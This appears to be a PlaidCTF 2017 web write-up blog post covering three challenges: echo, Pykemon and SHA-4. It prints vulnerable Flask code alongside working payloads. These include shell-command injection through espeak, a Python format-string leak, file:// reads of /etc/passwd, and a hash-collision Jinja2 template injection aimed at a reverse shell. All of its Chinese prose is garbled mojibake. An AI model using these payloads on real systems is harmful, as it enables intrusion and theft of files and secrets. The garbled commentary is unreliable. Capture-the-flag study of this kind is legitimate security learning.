LoRexxar's Blog

PlaidCTF 2017 web writeup

2017/05/12

鍘熸枃鎴戦鍙戝湪freebuff涓
http://www.freebuf.com/articles/web/133336.html

绋嶅井鏁寸悊涓媝ctf2017鐨剋eb writeup锛屽悇绉嶅亣web棰橈紝鏈夊績鐨勪汉涓瀹氳兘鎰熷彈鍒拌繖浜涘勾鍥藉鐨刢tf瀵逛簬web棰樼洰鐨勬佸害

鍙彲鎯滄湁閬撳緢鏈夎叮鐨勬父鎴忛瀹屽叏鏃犱粠涓嬫墜锛屼篃鎵句笉鍒扮浉鍏崇殑wp锛屽緢鍙儨

echo

涓婃潵鏃秄lask鐨勪唬鐮佸璁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from flask import render_template, flash, redirect, request, send_from_directory, url_for
import uuid
import os
import subprocess
import random
cwd = os.getcwd()
tmp_path = "/tmp/echo/"
serve_dir = "audio/"
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"
MAX_TWEETS = 4
MAX_TWEET_LEN = 140
from flask import Flask
app = Flask(__name__)
flag = "PCTF{XXXXXXX...XXXXXXXX}"
if not os.path.exists(tmp_path):
os.makedirs(tmp_path)
def process_flag (outfile):
with open(outfile,'w') as f:
for x in flag:
c = 0
towrite = ''
for i in range(65000 - 1):
k = random.randint(0,127)
c = c ^ k
towrite += chr(k)
f.write(towrite + chr(c ^ ord(x)))
return
def process_audio (path, prefix, n):
target_path = serve_dir + prefix
if not os.path.exists(target_path):
os.makedirs(target_path)
for i in range(n):
st = os.stat(path + str(i+1) + ".wav")
if st.st_size < 5242880:
subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",
out_path=target_path + str(i+1) + ".wav").split())
@app.route('/audio/<path:path>')
def static_file(path):
return send_from_directory('audio', path)
@app.route("/listen",methods=['GET', 'POST'])
def listen_tweets():
n = int(request.args['n'])
my_uuid = request.args['my_uuid']
if n > MAX_TWEETS:
return "ERR: More than MAX_TWEETS"
afiles = [my_uuid + "/" + str(i+1) + ".wav" for i in range(n)]
return render_template('listen.html', afiles = afiles)
@app.route("/",methods=['GET', 'POST'])
def read_tweets():
t1 = request.args.get('tweet_1')
if t1:
tweets = []
for i in range(MAX_TWEETS):
t = request.args.get('tweet_' + str(i+1))
if len(t) > MAX_TWEET_LEN:
return "ERR: Violation of max tween length"
if not t:
break
tweets.append(t)
my_uuid = uuid.uuid4().hex
my_path = tmp_path + my_uuid + "/"
if not os.path.exists(my_path):
os.makedirs(my_path)
with open(my_path + "input" ,"w") as f:
f.write('\n'.join(tweets))
process_flag(my_path + "flag")
out_path = my_path + "out/"
if not os.path.exists(out_path):
os.makedirs(out_path)
subprocess.call(docker_cmd.format(path=my_path).split())
process_audio(out_path, my_uuid + '/', len(tweets))
return redirect(url_for('.listen_tweets', my_uuid=my_uuid, n=len(tweets)))
else:
return render_template('form.html')
if __name__ == "__main__":
app.run(threaded=True)

閫氳鏁翠釜浠g爜锛屾渶寮濮嬪彲鑳介兘浼氭妸鐩厜鏀惧埌ffmpeg涓婃潵锛屼簨瀹炰笂锛屾暣涓珯鐨勫姛鑳藉嚑涔庨兘鏄洿缁曢煶棰戠殑锛岃繖閲屼篃涓嶅瓨鍦ㄤ互鍓嶇殑閭d釜cve锛岃宖fmpeg鐨勪綔鐢ㄥ悗闈㈠啀鎻

杩欓噷鐨勫叧閿俊鎭槸

1
docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"

杩欓噷鐨刣ocker鍏跺疄鏄彲浠ヤ笅杞藉埌鐨勶紝pull涓嬫潵锛岀湅鐪媟un.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import sys
from subprocess import call
import signal
import os
def handler(signum, frame):
os._exit(-1)
signal.signal(signal.SIGALRM, handler)
signal.alarm(30)
INPUT_FILE="/share/input"
OUTPUT_PATH="/share/out/"
def just_saying (fname):
with open(fname) as f:
lines = f.readlines()
i=0
for l in lines:
i += 1
if i == 5:
break
l = l.strip()
# Do TTS into mp3 file into output path
call(["sh","-c",
"espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])
def main():
just_saying(INPUT_FILE)
if __name__ == "__main__":
main()

image_1becp0s2th7n1iamvhh17tj14j29.png-16kB

涓昏闂鍦ㄤ簬杩欓噷锛屾垜浠彲浠ラ氳繃闂悎寮曞彿锛屾潵鎵ц浠绘剰鍛戒护銆

鎴戜滑閲嶆柊鐪嬬湅棰樼洰鐨勬祦绋

鎴戜滑杈撳叆瀛楃涓->tweets->闂悎瀛楃涓叉墽琛屽懡浠->杩斿洖鍒ゆ柇澶у皬->鍒ゆ柇閫氳繃缁忚繃ffmpeg杞寲->鑾峰彇杩斿洖闊抽銆

涔熷氨鏄锛屾垜浠鍏堟棤娉曡幏寰梖lag鏂囦欢鐨勫唴瀹癸紝鍥犱负澶暱浜嗭紝鍏舵鎴戜滑涓嶈兘鐩存帴鑾峰彇杩斿洖锛屽洜涓篺fmpeg浼氳浆鍖栧唴瀹逛负wav锛屽鏋滆緭鍏ヤ笉鏄痺av锛岄偅涔堝氨浼氬け璐ャ

鏈鍚庯紝鎴戜滑鎯充簡鍔炴硶閫氳繃鍐欏叆python浠g爜锛岃Вflag涓烘纭甪lag锛岀劧鍚庨氳繃espeak鑾峰彇杩斿洖闊抽銆

1
2
3
4
5
";printf "f=open('/share/flag')\ns=''\nwhile 1:\t\n\tc=0 \n\tfor j in range(65000):\n">/share/b.py;"
";printf "\t\th=f.read(1)\n\t\tif h!='':\n\t\t\tc^=ord(h)\n\t\telse:\n\t\t\tprint len(s)\n\t\t\texit()\n\ts+=chr(c)">>/share/b.py;"
";espeak -w /share/out/1.wav $(python /share/b.py);"
1
PCTF{L15st3n_T0__reee_reeeeee_reee_la}

Pykemon

浠嶇劧鏄痜lask鐨勪唬鐮佸璁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from random import randint
import json
class Pykemon(object):
pykemon = [
[100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'],
[90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'],
[80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'],
[70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'],
[60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'],
[50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'],
[40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'],
[30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'],
[20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'],
[10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'],
[0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXX}']
]
def __init__(self, name=None, hp=None):
pykemon = Pykemon.pykemon
if not name:
i = randint(0,10)
else:
count = 0
for p in pykemon:
if name in p:
i = count
count += 1
self.name = pykemon[i][2]
self.nickname = pykemon[i][3]
self.sprite = pykemon[i][4]
self.description = pykemon[i][5]
self.hp = hp
if not hp:
self.hp = randint(1,100)
self.rarity = pykemon[i][0]
self.pid = self.name + str(self.hp)
class Room(object):
def __init__(self):
self.rid = 0
self.pykemon_count = randint(5,15)
self.pykemon = []
if not self.pykemon_count:
return
while len(self.pykemon) < self.pykemon_count:
p = Pykemon()
self.pykemon.append(p.__dict__)
return
class Map(object):
def __init__(self):
self.size = 10

flag鏄拰鍏朵粬鐨勫疇鐗╁皬绮剧伒鍦ㄤ竴涓垪琛ㄩ噷锛屼絾鏄湰韬皟鐢ㄤ笉鍒般

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from flask import Flask, request, session, render_template, render_template_string
from random import randint
from pykemon import *
import json
import os
import re
app = Flask(__name__, static_url_path="", static_folder="static")
app.secret_key = 'XXXXXXXXX'
class PageTemplate(object):
def __init__(self, template):
self.template = template
@app.route('/')
def index():
r = Room()
balls = 10
session['room'] = r.__dict__
session['caught'] = {'pykemon': list()}
session['balls'] = balls
for pykemon in r.pykemon:
print pykemon
print session['caught']
return render_template('index.html', pykemon=r.pykemon, balls=balls)
@app.route('/catch/', methods=['POST'])
def pcatch():
name = request.form['name']
if not name:
return 'Error'
balls = session.get('balls')
balls -= 1
if balls < 0:
return "GAME OVER"
session['balls'] = balls
p = check(name, 'room')
if not p:
return "Error: trying to catch a pykemon that doesn't exist"
r = session.get('room')
for pykemon in r['pykemon']:
if pykemon['pid'] == name:
r['pykemon'].remove(pykemon)
print pykemon, r['pykemon']
session['room'] = r
s = session.get('caught')
if p.rarity > 90:
s['pykemon'].append(p.__dict__)
session['caught'] = s
if r['pykemon']:
return p.name + ' has been caught!' + str(balls)
else:
return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
elif p.rarity > 0:
chance = (randint(1,90) + p.rarity) / 100
if chance > 0:
s['pykemon'].append(p.__dict__)
session['caught'] = s
if r['pykemon']:
return p.name + ' has been caught!' + str(balls)
else:
return p.name + ' has been caught!' + str(balls) + '!GAME OVER!'
if r['pykemon']:
return p.name + ' got away!'+ str(balls)
else:
return p.name + ' got away!'+ str(balls) + '!GAME OVER!'
@app.route('/rename/', methods=['POST'])
def rename():
name = request.form['name']
new_name = request.form['new_name']
if not name:
return 'Error'
p = check(name, 'caught')
if not p:
return "Error: trying to name a pykemon you haven't caught!"
r = session.get('room')
s = session.get('caught')
for pykemon in s['pykemon']:
if pykemon['pid'] == name:
pykemon['nickname'] = new_name
session['caught'] = s
print session['caught']
return "Successfully renamed to:\n" + new_name.format(p)
return "Error: something went wrong"
def check(name, prop):
s = session.get(prop)
if 'pykemon' in s.keys():
for pykemon in s['pykemon']:
if pykemon['pid'] == name:
return Pykemon(pykemon['name'], pykemon['hp'])
return None
@app.route('/buy/', methods=['POST'])
def buy():
balls = session.get('balls') + 1
if balls < 0:
return "GAME OVER"
session['balls'] = balls
return str(balls)
@app.route('/caught/', methods=['POST'])
def caught():
pykemons = session.get('caught')
print pykemons
if len(pykemons['pykemon']):
result = "<ul>"
for p in pykemons['pykemon']:
result += "<img src="+p['sprite']+" width=32px height=32px><strong>"+p['nickname']+"</strong>: "+p['description']+"<br/>"
result += "</ul>"
return result
return "You have not caught any Pykemons"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True)

浠g爜涓湁涓叧閿殑鍦版柟

image_1bed3lqm8b1q1vjc1bl067huo1m.png-96kB

python鐨勬牸寮忓寲瀛楃涓叉紡娲烇紝婕忔礊灏变笉澶氳浜

https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html

image_1bed3qtjt1udd6pf1omd6d21osv13.png-36kB

image_1bed3r714do31nbp129fgce19je1g.png-37.7kB

SHA-4

鍒嗕韩涓浠藉浗澶栫殑wp
https://pequalsnp-team.github.io/writeups/SHA4

1
2
3
Web - 300 Points
I heard SHA-1 is broken, so I think it鈥檚 probably time we move to SHA-4.

棣栧厛鎴戜滑鑳藉彂鐜版渶涓嬮潰鏈変釜璇锋眰url鐨勫姛鑳斤紝瀛樺湪鏈湴鏂囦欢鍖呭惈婕忔礊锛屽彲浠ヨ鍙栨湰鍦扮殑浠讳綍銆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
ntp:x:111:115::/home/ntp:/bin/false
ubuntu:x:1000:1000::/home/ubuntu:

鍏充簬linux淇℃伅娉勯湶鐨勯棶棰樻垜灏变笉澶氳亰浜

绋嶅井璇曡瘯鍙戠幇鍙互璇诲埌apache鐨勯厤缃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
url=file:///etc/apache2/sites-enabled/000-default.conf
<VirtualHost *:80>
ServerName sha4
WSGIDaemonProcess sha4 user=www-data group=www-data threads=8 request-timeout=10
WSGIScriptAlias / /var/www/sha4/sha4.wsgi
<directory /var/www/sha4>
WSGIProcessGroup sha4
WSGIApplicationGroup %{GLOBAL}
WSGIScriptReloading On
Order deny,allow
Allow from all
</directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

鎵惧埌浜唚eb鐩綍/var/www/sha4/

璇诲埌server.py鍜宻ha4.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sha4.py
from Crypto.Cipher import DES
import struct
import string
def seven_to_eight(x):
[val] = struct.unpack("Q", x+"\x00")
out = 0
mask = 0b1111111
for shift in xrange(8):
out |= (val & (mask<<(7*shift)))<<shift
return struct.pack("Q", out)
def unpad(x):
#split up into 7 byte chunks
length = struct.pack("Q", len(x))
sevens = [x[i:i+7].ljust(7, "\x00") for i in xrange(0,len(x),7)]
sevens.append(length[:7])
return map(seven_to_eight, sevens)
def hash(x):
h0 = "SHA4_IS_"
h1 = "DA_BEST!"
keys = unpad(x)
for key in keys:
h0 = DES.new(key).encrypt(h0)
h1 = DES.new(key).encrypt(h1)
return h0+h1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
server.py
from flask import Flask, render_template, request, render_template_string
from pyasn1.codec.ber.decoder import decode
from pyasn1.type.univ import OctetString
from urllib2 import urlopen
from sha4 import hash
import string
app = Flask(__name__)
bad = """<h2>yo that comment was bad, we couldn't parse it</h2>"""
unsafe = """<h2>that comment decoded to some weird junk</h2>"""
comment = """<h2>Thank you for your SHA-4 feedback. Your comment, %s, is very important to us</h2>"""
def is_unsafe(s):
for c in s:
if c not in (string.ascii_letters + string.digits + " ,.:()?!-_'+=[]\t\n<>"):
return True
return False
@app.route("/")
def index():
return render_template("index.html")
@app.route("/comments", methods=['POST'])
def comments():
try:
encoded = request.form['comment']
encoded.replace("\n","\r")
ber = encoded.decode("hex")
except TypeError:
return render_template_string(bad)
f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")
out_text = str(decode(ber))
open(f, "w").write(out_text)
if is_unsafe(out_text):
return render_template_string(unsafe)
commentt = comment % open(f).read()
return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))
@app.route("/upload", methods=['POST'])
def upload():
try:
comment = urlopen(request.form['url']).read(1024*1024)
open("/var/tmp/comments/%s.file"%hash(comment).encode("hex"), "w").write(comment)
return comment
except:
return render_template_string(bad)
if __name__ == "__main__":
app.run()

鏍稿績浠g爜鏄笅闈㈣繖閮ㄥ垎

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
try:
encoded = request.form['comment']
encoded.replace("\n","\r")
ber = encoded.decode("hex")
except TypeError:
return render_template_string(bad)
f = "/var/tmp/comments/%s.txt"%hash(ber).encode("hex")
out_text = str(decode(ber))
open(f, "w").write(out_text)
if is_unsafe(out_text):
return render_template_string(unsafe)
commentt = comment % open(f).read()
return render_template_string(commentt, comment=out_text.replace("\n","<br/>"))

涓婇潰鐨勪唬鐮佷富瑕佸仛浜嗕笅闈㈠嚑姝

  • 瀵筽ost杩涙潵鐨勬暟鎹Вhex
  • 瀵硅緭鍏ュ仛sha4璁$畻
  • 鎶婅緭鍑轰綔涓烘枃浠跺悕杈撳叆鍒/bar/tmp/comments/<hash>.file
  • 瑙h緭鍏ワ紝灏嗙粨鏋滃啓鍏ユ枃浠
  • 鍒ゆ柇鏈夋病鏈変笉瀹夊叏鐨勫瓧绗
  • 鍒ゆ柇閫氳繃鍔犺浇妯℃澘

绾佃涓婇潰鐨勬祦绋嬶紝濡傛灉鎴戜滑鍏堟妸涓涓猵ython鐨勫弽寮箂hell鍐欏叆comments涓嬬殑鏌愪釜鏂囦欢鍐咃紝鐒跺悗鍒╃敤妯℃澘娉ㄥ叆娉ㄥ叆

1
{{ config.from_pyfile('/var/tmp/comments/<hash>.file') }}

灏卞彲浠ユ墽琛屼换鎰忓懡浠わ紝浣嗚繖灏辨剰鍛崇潃浼氬寘鍚
鍙凤紝鏃犳硶閫氳繃unsafe鍑芥暟銆

涓婇潰鐨勫叿浣撳彲浠ョ湅杩欑瘒鏂囩珷
https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

image_1bekqkggrhpa1od1101o18s29g19.png-49.4kB

浠庝唬鐮侀噷寰堝鏄撳彂鐜颁竴涓棶棰橈紝涓轰粈涔坥ut_text鍙橀噺涓湰鏉ュ氨鏈夊唴瀹逛簡锛屽湪鍒ゆ柇涔嬪悗锛岃繕瑕佷粠鏂囦欢涓鍙栧憿锛岃繖涓瀹氭槸涓轰簡婕忔礊鍙В鑰屾晠鎰忕殑銆

浣嗗鏋滄垜浠彲浠ュ湪鍒ゆ柇is_unsafe鎴愬姛鍚庯紝閫氳繃绔炰簤鍐欏叆鏂扮殑鍐呭锛屽氨鍙互鎴愬姛鐨勬瀯閫犳ā鏉挎敞鍏ヤ簡銆

閭d箞濡傛灉鎯宠鏉′欢鎴愮珛锛屾垜浠渶瑕佹湁涓や釜杈撳叆涓嶇浉鍚岋紝浣嗘槸hash鐩稿悓鐨勮緭鍏ャ

鎴戜滑鍏虫敞涓媓ash鍑芥暟

1
2
3
4
5
6
7
8
def hash(x):
h0 = "SHA4_IS_"
h1 = "DA_BEST!"
keys = unpad(x)
for key in keys:
h0 = DES.new(key).encrypt(h0)
h1 = DES.new(key).encrypt(h1)
return h0+h1

杩欓噷upad浼氭妸7涓8bit bytes杞寲涓8涓7bit byte銆

鑰孌ES鏈韩鐨勫姞瀵嗘柟寮忓苟涓嶉傜敤鎵鏈64浣嶏紝瀹冨拷鐣ユ瘡涓瓧鑺傜殑lsb锛岃繖灏辨剰鍛虫垜浠彲浠ラ氳繃涓浜涙柟寮忔潵鎵惧埌2涓浉鍚宧ash鐨刾ayload

鍙渶瑕佺鎾炲嚭鎴戜滑闇瑕佺殑3涓绂佹鐨勭鍙峰氨澶熶簡

1
{}/

payload

1
2
3
4
5
6
7
8
9
10
11
def char_position_collision(char):
for j in xrange(7):
m1 = "a"*j + char
for i in xrange(0,256):
m2 = "a"*j+chr(i)
if m1 != m2 and hash(m1) == hash(m2):
print(m1,m2)
break
char_position_collision("{")
char_position_collision("}")
char_position_collision("/")

璐翠笂瀹屾暣鐨勮绠梡ayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from sha4 import hash
from pyasn1.codec.ber.encoder import encode
from pyasn1.codec.ber.decoder import decode
from pyasn1.type.univ import OctetString
n = 2 # number of extra char added by ASN.1 at the start
content = "a{{config.from_pyfile( \"../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file\") }}aaaa"
# character to replace at their position for collision
replace = {
'{':'z;[ks\x7fy',
'}':'|=]muy\x7f',
'/':".o\x0f?'+-"
}
sevens = [content[i:i+7].ljust(7, "\x00") for i in xrange(0,len(content),7)]
string = ""
for s in sevens:
for i in xrange(len(s)):
c = s[i]
if c in replace:
string += replace[c][(i+n)%7]
else:
string += c
#MEGA FIX
string = string[:-n]
print(repr(content))
print(repr(string))
#'a{{config.from_pyfile( "../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file") }}aaaa'
#'aksconfig.from_pyfile( ".....?tmp.comments\x0fdd31b4dc454c6ec7e01476e02f8eeac4.file") =]aaaa'
asnc = encode(OctetString(content))
asns = encode(OctetString(string))
# (OctetString(tagSet=TagSet((), Tag(tagClass=0, tagFormat=0, tagId=4)), hexValue='616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161'), '')
# (OctetString('a{{config.from_pyfile( "../../tmp/comments/dd31b4dc454c6ec7e01476e02f8eeac4.file") }}aaaa', tagSet=TagSet((), Tag(tagClass=0, tagFormat=0, tagId=4))), '')
assert(hash(asnc) == hash(asns))
print("YUP")

鎴戜滑鎵惧埌浜2涓猵ayload锛

1
2
3
0459617b7b636f6e6669672e66726f6d5f707966696c652820222e2e2f2e2e2f746d702f636f6d6d656e74732f64643331623464633435346336656337653031343736653032663865656163342e66696c652229207d7d61616161
0459616b73636f6e6669672e66726f6d5f707966696c652820222e2e2e2e2e3f746d702e636f6d6d656e74730f64643331623464633435346336656337653031343736653032663865656163342e66696c652229203d5d61616161

鍓╀笅鐨勫氨鏄惊鐜姹傦紝绛夊緟shell鍙嶅脊浜

CATALOG
  1. 1. echo
  2. 2. Pykemon
  3. 3. SHA-4